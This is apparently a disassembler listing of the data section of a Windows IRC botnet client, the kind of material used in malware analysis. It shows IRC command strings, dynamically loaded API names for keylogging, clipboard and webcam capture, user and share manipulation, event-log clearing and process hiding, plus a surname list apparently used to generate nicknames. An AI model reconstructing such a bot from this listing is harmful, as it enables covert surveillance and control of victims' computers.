unk_42D02C	db  2Dh	; -		; DATA XREF: sub_401ACD+5A5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401ACD+574o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+537o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+526o
					; sub_401ACD+5E9o
		align 10h
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3D0o
		align 10h
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+60Do
unk_42D080	db  2Dh	; -		; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2EBCo ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7C8Eo ...
		align 4
a433		db '433',0              ; DATA XREF: sub_401ACD+262o
					; sub_4177CF:loc_417837o
a@:					; DATA XREF: sub_401ACD+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_401ACD+22Ao
a005		db '005',0              ; DATA XREF: sub_401ACD+215o
a001		db '001',0              ; DATA XREF: sub_401ACD+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1E4o
					; sub_401ACD+3B7o ...
		align 4
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_401ACD+1A9o
					; sub_4177CF+50o
		align 4
asc_42D0EC:				; DATA XREF: sub_401ACD+19Ao
					; sub_401ACD+7DADo
		unicode	0, <!>,0
asc_42D0F0:				; DATA XREF: sub_401ACD+A8o
					; sub_401ACD+E5Co ...
		unicode	0, < >,0
asc_42D0F4	db ' :',0               ; DATA XREF: sub_401ACD+86o
					; sub_401ACD:loc_402601o
		align 4
aSSS_0		db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409A72+5Do
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409B12+C7Fo
		align 10h
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409B12+C77o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_409B12:loc_40A77Co
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_409B12+C15o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_409B12+C08o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_409B12+BFBo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_409B12+BEEo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_409B12+BE1o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_409B12+BD9o
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_409B12:loc_40A6DEo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_409B12+B97o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_409B12+B8Fo
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_409B12:loc_40A694o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409B12+B3Do
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409B12+B30o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_409B12+B23o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_409B12+B1Bo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_409B12:loc_40A620o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409B12+AD9o
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_409B12+AD1o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_409B12:loc_40A5D6o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409B12+A8Fo
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409B12+A87o
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_409B12:loc_40A58Co
		align 4
aNetwkstagetinf	db 'NetWkstaGetInfo',0  ; DATA XREF: sub_409B12+9F9o
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_409B12+9ECo
					; sub_4185A4+65o
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_409B12+9DFo
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_409B12+9D2o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_409B12+9C5o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_409B12+9B8o
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_409B12+9ABo
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_409B12+99Eo
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409B12+991o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_409B12+984o
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_409B12+977o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_409B12+96Fo
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_409B12:loc_40A470o
					; sub_4185A4+58o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_409B12+921o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_409B12+914o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_409B12+90Co
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_409B12:loc_40A411o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409B12+8D2o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_409B12+860o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_409B12+853o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_409B12+846o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_409B12+839o
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_409B12+82Co
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_409B12+81Fo
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_409B12+812o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_409B12+805o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409B12+7F8o
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_409B12+7F0o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_409B12:loc_40A2F1o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_409B12+6A6o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_409B12+699o
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_409B12+68Co
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_409B12+67Fo
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_409B12+672o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_409B12+665o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_409B12+658o
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_409B12+64Bo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_409B12+63Eo
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_409B12+631o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_409B12+629o
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_409B12+617o
		align 4
aRecv		db 'recv',0             ; DATA XREF: sub_409B12+60Ao
		align 10h
aSendto		db 'sendto',0           ; DATA XREF: sub_409B12+5FDo
		align 4
aNtohl		db 'ntohl',0            ; DATA XREF: sub_409B12+5E3o
		align 10h
aNtohs		db 'ntohs',0            ; DATA XREF: sub_409B12+5D6o
		align 4
aHtonl		db 'htonl',0            ; DATA XREF: sub_409B12+5C9o
		align 10h
aHtons		db 'htons',0            ; DATA XREF: sub_409B12+5BCo
		align 4
aInet_addr	db 'inet_addr',0        ; DATA XREF: sub_409B12+5AFo
		align 4
aInet_ntoa	db 'inet_ntoa',0        ; DATA XREF: sub_409B12+5A2o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_409B12+595o
aIoctlsocket	db 'ioctlsocket',0      ; DATA XREF: sub_409B12+588o
aSocket		db 'socket',0           ; DATA XREF: sub_409B12+57Bo
		align 4
aWsacleanup	db 'WSACleanup',0       ; DATA XREF: sub_409B12+56Eo
		align 4
aWsagetlasterro	db 'WSAGetLastError',0  ; DATA XREF: sub_409B12+561o
aWsaioctl	db 'WSAIoctl',0         ; DATA XREF: sub_409B12+554o
		align 4
a__wsafdisset	db '__WSAFDIsSet',0     ; DATA XREF: sub_409B12+547o
		align 4
aWsaasyncselect	db 'WSAAsyncSelect',0   ; DATA XREF: sub_409B12+53Ao
		align 4
aWsasocketa	db 'WSASocketA',0       ; DATA XREF: sub_409B12+52Do
		align 10h
aWsastartup	db 'WSAStartup',0       ; DATA XREF: sub_409B12+525o
		align 4
aWs2_32_dll	db 'ws2_32.dll',0       ; DATA XREF: sub_409B12+514o
		align 4
aDeleteobject	db 'DeleteObject',0     ; DATA XREF: sub_409B12+4A1o
		align 4
aDeletedc	db 'DeleteDC',0         ; DATA XREF: sub_409B12+494o
		align 4
aBitblt		db 'BitBlt',0           ; DATA XREF: sub_409B12+487o
		align 4
aSelectobject	db 'SelectObject',0     ; DATA XREF: sub_409B12+47Ao
		align 4
aGetdibcolortab	db 'GetDIBColorTable',0 ; DATA XREF: sub_409B12+46Do
		align 10h
aGetdevicecaps	db 'GetDeviceCaps',0    ; DATA XREF: sub_409B12+460o
		align 10h
aCreatecompatib	db 'CreateCompatibleDC',0 ; DATA XREF: sub_409B12+453o
		align 4
aCreatedibsecti	db 'CreateDIBSection',0 ; DATA XREF: sub_409B12+446o
		align 4
aCreatedca	db 'CreateDCA',0        ; DATA XREF: sub_409B12+43Eo
		align 4
aGdi32_dll	db 'gdi32.dll',0        ; DATA XREF: sub_409B12:loc_409F3Fo
		align 10h
aGetusernamea	db 'GetUserNameA',0     ; DATA XREF: sub_409B12:loc_409F17o
		align 10h
aIsvalidsecurit	db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409B12+3ADo
		align 4
aEnumservicesst	db 'EnumServicesStatusA',0 ; DATA XREF: sub_409B12+3A0o
aCloseserviceha	db 'CloseServiceHandle',0 ; DATA XREF: sub_409B12+393o
		align 4
aDeleteservice	db 'DeleteService',0    ; DATA XREF: sub_409B12+386o
		align 4
aControlservice	db 'ControlService',0   ; DATA XREF: sub_409B12+379o
		align 4
aStartservicea	db 'StartServiceA',0    ; DATA XREF: sub_409B12+36Co
		align 4
aOpenservicea	db 'OpenServiceA',0     ; DATA XREF: sub_409B12+35Fo
		align 4
aOpenscmanagera	db 'OpenSCManagerA',0   ; DATA XREF: sub_409B12:loc_409E69o
		align 4
aAdjusttokenpri	db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409B12+327o
		align 4
aLookupprivileg	db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409B12+31Ao
		align 4
aOpenprocesstok	db 'OpenProcessToken',0 ; DATA XREF: sub_409B12:loc_409E24o
		align 4
aCleareventloga	db 'ClearEventLogA',0   ; DATA XREF: sub_409B12+2C6o
		align 4
aOpeneventloga	db 'OpenEventLogA',0    ; DATA XREF: sub_409B12+2B9o
		align 4
aRegclosekey	db 'RegCloseKey',0      ; DATA XREF: sub_409B12+2ACo
aRegdeletevalue	db 'RegDeleteValueA',0  ; DATA XREF: sub_409B12+29Fo
aRegqueryvaluee	db 'RegQueryValueExA',0 ; DATA XREF: sub_409B12+292o
		align 4
aRegsetvalueexa	db 'RegSetValueExA',0   ; DATA XREF: sub_409B12+285o
		align 4
aRegcreatekeyex	db 'RegCreateKeyExA',0  ; DATA XREF: sub_409B12+278o
aRegopenkeyexa	db 'RegOpenKeyExA',0    ; DATA XREF: sub_409B12+270o
		align 4
aAdvapi32_dll	db 'advapi32.dll',0     ; DATA XREF: sub_409B12:loc_409D71o
		align 4
aGetforegroundw	db 'GetForegroundWindow',0 ; DATA XREF: sub_409B12+21Ao
aGetwindowtexta	db 'GetWindowTextA',0   ; DATA XREF: sub_409B12+20Do
		align 4
aGetkeystate	db 'GetKeyState',0      ; DATA XREF: sub_409B12+200o
aGetasynckeysta	db 'GetAsyncKeyState',0 ; DATA XREF: sub_409B12:loc_409D0Ao
		align 4
aExitwindowsex	db 'ExitWindowsEx',0    ; DATA XREF: sub_409B12+1A0o
		align 4
aCloseclipboard	db 'CloseClipboard',0   ; DATA XREF: sub_409B12+193o
		align 4
aGetclipboardda	db 'GetClipboardData',0 ; DATA XREF: sub_409B12+186o
		align 10h
aOpenclipboard	db 'OpenClipboard',0    ; DATA XREF: sub_409B12+179o
		align 10h
aDestroywindow	db 'DestroyWindow',0    ; DATA XREF: sub_409B12+16Co
		align 10h
aIswindow	db 'IsWindow',0         ; DATA XREF: sub_409B12+15Fo
		align 4
aFindwindowa	db 'FindWindowA',0      ; DATA XREF: sub_409B12+152o
aSendmessagea	db 'SendMessageA',0     ; DATA XREF: sub_409B12+14Ao
		align 4
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_409B12:loc_409C47o
					; sub_424D78+Do
		align 4
aRegisterservic	db 'RegisterServiceProcess',0 ; DATA XREF: sub_409B12:loc_409C1Ao
		align 4
aQueryperform_0	db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409B12+A0o
		align 4
aQueryperforman	db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409B12+93o
aSearchpatha	db 'SearchPathA',0      ; DATA XREF: sub_409B12+86o
aGetdrivetypea	db 'GetDriveTypeA',0    ; DATA XREF: sub_409B12+79o
		align 4
aGetlogicaldriv	db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409B12+6Co
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409B12+5Fo
aModule32first	db 'Module32First',0    ; DATA XREF: sub_409B12+52o
		align 4
aProcess32next	db 'Process32Next',0    ; DATA XREF: sub_409B12+45o
		align 4
aProcess32first	db 'Process32First',0   ; DATA XREF: sub_409B12+38o
		align 4
aCreatetoolhelp	db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409B12+2Bo
		align 4
aSeterrormode	db 'SetErrorMode',0     ; DATA XREF: sub_409B12+23o
		align 4
aKernel32_dll	db 'kernel32.dll',0     ; DATA XREF: sub_409B12+Ao
		align 4
unk_42D9F4	db  2Dh	; -		; DATA XREF: sub_40A7CE+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+2CCo
		align 10h
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+298o
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+264o
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+230o
		align 4
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1FCo
		align 4
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+1C8o
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+194o
		align 4
aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+160o
		align 4
aWininet_dllFai	db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+12Co
		align 10h
aWs2_32_dllFail	db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+F8o
aGdi32_dllFaile	db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+C4o
		align 10h
aAdvapi32_dllFa	db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+90o
		align 4
aUser32_dllFail	db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+5Co
aKernel32_dllFa	db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A7CE+28o
		align 10h
a_:					; DATA XREF: sub_40F96A+252o
		unicode	0, <.>,0
unk_42DB84	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABF0o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
unk_42DBB4	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40ABBEo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_42DBE4	db  2Dh	; -		; DATA XREF: sub_40AB31:loc_40AB8Ao
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 4
unk_42DC08	db  2Dh	; -		; DATA XREF: sub_40AB31+49o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40AC0F+46o
					; sub_40BFEB+38o
aReal		db 'real',0
		align 4
		dd 0
dword_42DC4C	dd 0			; DATA XREF: sub_40B08D+7o
off_42DC50	dd offset sub_40ACB5	; DATA XREF: sub_40B08D+49r
aConst		db 'const',0
		align 10h
		dd 1, 40AD22h, 7474656Ch, 7265h, 0
		dd 2, 40AD80h, 706D6F63h, 2 dup(0)
		dd 3, 40ADCDh, 6E756F63h, 797274h, 0
		dd 4, 40AE6Bh, 736Fh, 2	dup(0)
		dd 5, 40AEE0h
off_42DCB8	dd offset aAbdulrazak	; DATA XREF: sub_40ACB5+21r
					; "Abdulrazak"
		dd offset aAckerman	; "Ackerman"
		dd offset aAdams	; "Adams"
off_42DCC4	dd offset aAddison	; DATA XREF: sub_40B08D+39o
					; "Addison"
		dd offset aAdelstein	; "Adelstein"
		dd offset aAdibe	; "Adibe"
		dd offset aAdorno	; "Adorno"
		dd offset aAhlers	; "Ahlers"
		dd offset aAlavi	; "Alavi"
		dd offset aAlcorn	; "Alcorn"
		dd offset aAlda		; "Alda"
		dd offset aAleks	; "Aleks"
		dd offset aAllison	; "Allison"
		dd offset aAlongi	; "Alongi"
		dd offset aAltavilla	; "Altavilla"
		dd offset aAltenberger	; "Altenberger"
		dd offset aAltenhofen	; "Altenhofen"
		dd offset aAmaral	; "Amaral"
		dd offset aAmatangelo	; "Amatangelo"
		dd offset aAmeer	; "Ameer"
		dd offset aAmsden	; "Amsden"
		dd offset aAnand	; "Anand"
		dd offset aAndel	; "Andel"
		dd offset aAndo		; "Ando"
		dd offset aAndrelus	; "Andrelus"
		dd offset aAndron	; "Andron"
		dd offset aAnfinrud	; "Anfinrud"
		dd offset aAnsley	; "Ansley"
		dd offset aAnthony	; "Anthony"
		dd offset aAntos	; "Antos"
		dd offset aArbia	; "Arbia"
		dd offset aArduini	; "Arduini"
		dd offset aArellano	; "Arellano"
		dd offset aAristotle	; "Aristotle"
		dd offset aArjas	; "Arjas"
		dd offset aArky		; "Arky"
		dd offset aAtkins	; "Atkins"
		dd offset aAugustus	; "Augustus"
		dd offset aAurelius	; "Aurelius"
		dd offset aAxelrod	; "Axelrod"
		dd offset aAxworthy	; "Axworthy"
		dd offset aAyiemba	; "Ayiemba"
		dd offset aAykroyd	; "Aykroyd"
		dd offset aAyling	; "Ayling"
		dd offset aAzima	; "Azima"
		dd offset aBachmuth	; "Bachmuth"
		dd offset aBackus	; "Backus"
		dd offset aBady		; "Bady"
		dd offset aBaglivo	; "Baglivo"
		dd offset aBagnold	; "Bagnold"
		dd offset aBailar	; "Bailar"
		dd offset aBakanowsky	; "Bakanowsky"
		dd offset aBaleja	; "Baleja"
		dd offset aBallatori	; "Ballatori"
		dd offset aBallew	; "Ballew"
		dd offset aBaltz	; "Baltz"
		dd offset aBanta	; "Banta"
		dd offset aBarabesi	; "Barabesi"
		dd offset aBarajas	; "Barajas"
		dd offset aBaranczak	; "Baranczak"
		dd offset aBaranowska	; "Baranowska"
		dd offset aBarberi	; "Barberi"
		dd offset aBarbetti	; "Barbetti"
		dd offset aBarneson	; "Barneson"
		dd offset aBarnett	; "Barnett"
		dd offset aBarriola	; "Barriola"
		dd offset aBarry	; "Barry"
		dd offset aBartholomew	; "Bartholomew"
		dd offset aBartolome	; "Bartolome"
		dd offset aBartoo	; "Bartoo"
		dd offset aBasavappa	; "Basavappa"
		dd offset aBashevis	; "Bashevis"
		dd offset aBatchelder	; "Batchelder"
		dd offset aBaumiller	; "Baumiller"
		dd offset aBayles	; "Bayles"
		dd offset aBayo		; "Bayo"
		dd offset aBeacon	; "Beacon"
		dd offset aBeal		; "Beal"
		dd offset aBean		; "Bean"
		dd offset aBeckman	; "Beckman"
		dd offset aBeder	; "Beder"
		dd offset aBedford	; "Bedford"
		dd offset aBehenna	; "Behenna"
		dd offset aBelanger	; "Belanger"
		dd offset aBelaoussof	; "Belaoussof"
		dd offset aBelfer	; "Belfer"
		dd offset aBelinCollart	; "Belin-Collart"
		dd offset aBellavance	; "Bellavance"
		dd offset aBellhouse	; "Bellhouse"
		dd offset aBellini	; "Bellini"
		dd offset aBelloc	; "Belloc"
		dd offset aBenedictDye	; "Benedict-Dye"
		dd offset aBergson	; "Bergson"
		dd offset aBerkeJenkins	; "Berke-Jenkins"
		dd offset aBernardo	; "Bernardo"
		dd offset aBernassola	; "Bernassola"
		dd offset aBernston	; "Bernston"
		dd offset aBerrizbeitia	; "Berrizbeitia"
		dd offset aBetti	; "Betti"
		dd offset aBeynart	; "Beynart"
		dd offset aBiagioli	; "Biagioli"
		dd offset aBickel	; "Bickel"
		dd offset aBinion	; "Binion"
		dd offset aBir		; "Bir"
		dd offset aBisema	; "Bisema"
		dd offset aBisho	; "Bisho"
		dd offset aBlackbourn	; "Blackbourn"
		dd offset aBlackwell	; "Blackwell"
		dd offset aBlagg	; "Blagg"
		dd offset aBlakemore	; "Blakemore"
		dd offset aBlanke	; "Blanke"
		dd offset aBliss	; "Bliss"
		dd offset aBlizard	; "Blizard"
		dd offset aBloch	; "Bloch"
		dd offset aBloembergen	; "Bloembergen"
		dd offset aBloemhof	; "Bloemhof"
		dd offset aBloxham	; "Bloxham"
		dd offset aBlyth	; "Blyth"
		dd offset aBolger	; "Bolger"
		dd offset aBolick	; "Bolick"
		dd offset aBollinger	; "Bollinger"
		dd offset aBologna	; "Bologna"
		dd offset aBoner	; "Boner"
		dd offset aBonham	; "Bonham"
		dd offset aBoniface	; "Boniface"
		dd offset aBontempo	; "Bontempo"
		dd offset aBook		; "Book"
		dd offset aBookbinder	; "Bookbinder"
		dd offset aBoone	; "Boone"
		dd offset aBoorstin	; "Boorstin"
		dd offset aBorack	; "Borack"
		dd offset aBorden	; "Borden"
		dd offset aBossi	; "Bossi"
		dd offset aBothman	; "Bothman"
		dd offset aBotosh	; "Botosh"
		dd offset aBoudin	; "Boudin"
		dd offset aBoudrot	; "Boudrot"
		dd offset aBourneuf	; "Bourneuf"
		dd offset aBowers	; "Bowers"
		dd offset aBoxer	; "Boxer"
		dd offset aBoyajian	; "Boyajian"
		dd offset aBoyes	; "Boyes"
		dd offset aBoyland	; "Boyland"
		dd offset aBoym		; "Boym"
		dd offset aBoyne	; "Boyne"
		dd offset aBracalente	; "Bracalente"
		dd offset aBradac	; "Bradac"
		dd offset aBradach	; "Bradach"
		dd offset aBrecht	; "Brecht"
		dd offset aBreed	; "Breed"
		dd offset aBrenan	; "Brenan"
		dd offset aBrennan	; "Brennan"
		dd offset aBrewer	; "Brewer"
		dd offset aBrewer	; "Brewer"
		dd offset aBridgeman	; "Bridgeman"
		dd offset aBridges	; "Bridges"
		dd offset aBrinton	; "Brinton"
		dd offset aBritz	; "Britz"
		dd offset aBroca	; "Broca"
		dd offset aBrook	; "Brook"
		dd offset aBrzycki	; "Brzycki"
		dd offset aBuchan	; "Buchan"
		dd offset aBudding	; "Budding"
		dd offset aBullard	; "Bullard"
		dd offset aBunton	; "Bunton"
		dd offset aBurden	; "Burden"
		dd offset aBurdzy	; "Burdzy"
		dd offset aBurke	; "Burke"
		dd offset aBurridge	; "Burridge"
		dd offset aBusetta	; "Busetta"
		dd offset aByatt	; "Byatt"
		dd offset aByerly	; "Byerly"
		dd offset aByrd		; "Byrd"
		dd offset aCage		; "Cage"
		dd offset aCalnan	; "Calnan"
		dd offset aCammelli	; "Cammelli"
		dd offset aCammilleri	; "Cammilleri"
		dd offset aCanley	; "Canley"
		dd offset aCapanni	; "Capanni"
		dd offset aCaperton	; "Caperton"
		dd offset aCapocaccia	; "Capocaccia"
		dd offset aCapodilupo	; "Capodilupo"
		dd offset aCappuccio	; "Cappuccio"
		dd offset aCapursi	; "Capursi"
		dd offset aCaratozzolo	; "Caratozzolo"
		dd offset aCarayannopoulo ; "Carayannopoulos"
		dd offset aCarlin	; "Carlin"
		dd offset aCarlos	; "Carlos"
		dd offset aCarlyle	; "Carlyle"
		dd offset aCarmichael	; "Carmichael"
		dd offset aCaroti	; "Caroti"
		dd offset aCarper	; "Carper"
		dd offset aCartmill	; "Cartmill"
		dd offset aCascio	; "Cascio"
		dd offset aCase		; "Case"
		dd offset aCaspar	; "Caspar"
		dd offset aCastelda	; "Castelda"
		dd offset aCavanagh	; "Cavanagh"
		dd offset aCavell	; "Cavell"
		dd offset aCeniceros	; "Ceniceros"
		dd offset aCerioli	; "Cerioli"
		dd offset aChapman	; "Chapman"
		dd offset aCharles	; "Charles"
		dd offset aCheang	; "Cheang"
		dd offset aCherry	; "Cherry"
		dd offset aChervinsky	; "Chervinsky"
		dd offset aChiassino	; "Chiassino"
		dd offset aChien	; "Chien"
		dd offset aChildress	; "Childress"
		dd offset aChilds	; "Childs"
		dd offset aChinipardaz	; "Chinipardaz"
		dd offset aChinman	; "Chinman"
		dd offset aChristenson	; "Christenson"
		dd offset aChristian	; "Christian"
		dd offset aChristiano	; "Christiano"
		dd offset aChristie	; "Christie"
		dd offset aChristopher	; "Christopher"
		dd offset aChu		; "Chu"
		dd offset aChupasko	; "Chupasko"
		dd offset aChurch	; "Church"
		dd offset aCiampaglia	; "Ciampaglia"
		dd offset aCicero	; "Cicero"
		dd offset aCifarelli	; "Cifarelli"
		dd offset aClaffey	; "Claffey"
		dd offset aClancy	; "Clancy"
		dd offset aClark	; "Clark"
		dd offset aClement	; "Clement"
		dd offset aClifton	; "Clifton"
		dd offset aClow		; "Clow"
		dd offset aCoblenz	; "Coblenz"
		dd offset aCoito	; "Coito"
		dd offset aColdren	; "Coldren"
		dd offset aColella	; "Colella"
		dd offset aCollard	; "Collard"
		dd offset aCollis	; "Collis"
		dd offset aCompton	; "Compton"
		dd offset aCompton	; "Compton"
		dd offset aComstock	; "Comstock"
		dd offset aConcino	; "Concino"
		dd offset aCondodina	; "Condodina"
		dd offset aConnors	; "Connors"
		dd offset aCorey	; "Corey"
		dd offset aCornish	; "Cornish"
		dd offset aCosmides	; "Cosmides"
		dd offset aCounter	; "Counter"
		dd offset aCoutaux	; "Coutaux"
		dd offset aCrawford	; "Crawford"
		dd offset aCrocker	; "Crocker"
		dd offset aCroshaw	; "Croshaw"
		dd offset aCroxen	; "Croxen"
		dd offset aCroxton	; "Croxton"
		dd offset aCui		; "Cui"
		dd offset aCurrier	; "Currier"
		dd offset aCutler	; "Cutler"
		dd offset aCvek		; "Cvek"
		dd offset aCyders	; "Cyders"
		dd offset aDasilva	; "daSilva"
		dd offset aDaldalian	; "Daldalian"
		dd offset aDaly		; "Daly"
		dd offset aDAmbra	; "D'Ambra"
		dd offset aDanieli	; "Danieli"
		dd offset aDante	; "Dante"
		dd offset aDapice	; "Dapice"
		dd offset aDArcangelo	; "D'arcangelo"
		dd offset aDas		; "Das"
		dd offset aDasgupta	; "Dasgupta"
		dd offset aDaskalu	; "Daskalu"
		dd offset aDavid	; "David"
		dd offset aDawkins	; "Dawkins"
